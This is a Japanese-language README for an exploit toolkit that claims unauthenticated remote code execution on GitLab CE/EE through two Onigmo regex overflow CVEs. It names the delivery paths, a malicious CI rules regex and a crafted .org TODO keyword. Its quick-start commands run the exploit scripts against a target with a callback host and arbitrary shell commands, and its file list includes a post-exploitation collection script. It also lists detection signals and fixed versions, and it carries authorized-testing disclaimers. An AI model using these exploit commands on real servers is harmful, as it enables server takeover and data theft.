GitLab Onigmo RCE エクスプロイトツールキット

CVE-2026-97229 + CVE-2026-110264 — Onigmo 正規表現エンジンの整数オーバーフローを悪用した、GitLab CE/EE における 2 件の重大（CVSS 10.0）な未認証 RCE 脆弱性。

許可されたテストのみ。 すべてのターゲットはあなた自身のものであるか、書面による許可の対象である必要があります。

脆弱性

CVE	ベクター	影響範囲	トリガー	認証要否
CVE-2026-97229	CI/CD 正規表現コンパイラ	19.2.0–19.4.1	GET /api/v4/projects/:id/ci/lint	未認証でトリガー可能（セットアップには書き込みアクセスが必要）
CVE-2026-110264	Org-mode .org レンダリング	7.0–19.5.0	細工された .org ファイルをレンダリング	アカウント不要

アーキテクチャ

両方の CVE は同じ根本原因を悪用します: Onigmo 正規表現エンジンの整数オーバーフロー → OOB 書き込み → VM ハイジャック → system()。違いは配信経路です:

• CVE-2026-97229: .gitlab-ci.yml の rules:exists:regexp に含まれる悪意ある正規表現 → CI lint API
• CVE-2026-110264: .org ファイル内の悪意ある #+TODO: キーワード → Org-mode レンダラー

クイックスタート

# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

プロジェクト構成

exploit/
├── cve97229.py       # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode render RCE (CVE-2026-110264)
├── layout.py         # libruby.so offset derivation
├── common.py         # shared Onigmo payload + callback server
└── post/
    └── collect.sh    # post-exploitation collection
lab/
├── run.sh            # Docker lab launcher
└── stop.sh           # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis

検出

両方の CVE に対する 3 つのシグナル:

1. Puma ワーカーのクラッシュ: org-ruby または regexp_matcher.rb のフレームを伴う [BUG] Segmentation fault
2. Workhorse 502: badgateway: failed to receive response: EOF
3. Git コンテンツ: (?#) で分割された量指定子、[[:word:]] の繰り返し、4 バイト UTF-8 パス

修正済みバージョン

CVE	修正済み
CVE-2026-97229	19.2.8, 19.3.5, 19.4.2
CVE-2026-110264	18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

クレジット

• joaxcar — CVE-2026-97229 の原発見（HackerOne）
• Rapid7 (Jonah Burgess) — CVE-2026-97229 の技術分析および独立した PoC
• gandli — CVE-2026-97229 のラボフレームワークの参考
• GitLab Security — 検出ルールおよびアドバイザリ
• CVE-2026-110264 の悪用手法は GitLab が公開した検出ノートに基づく

ライセンス

MIT — 許可されたセキュリティテスト専用。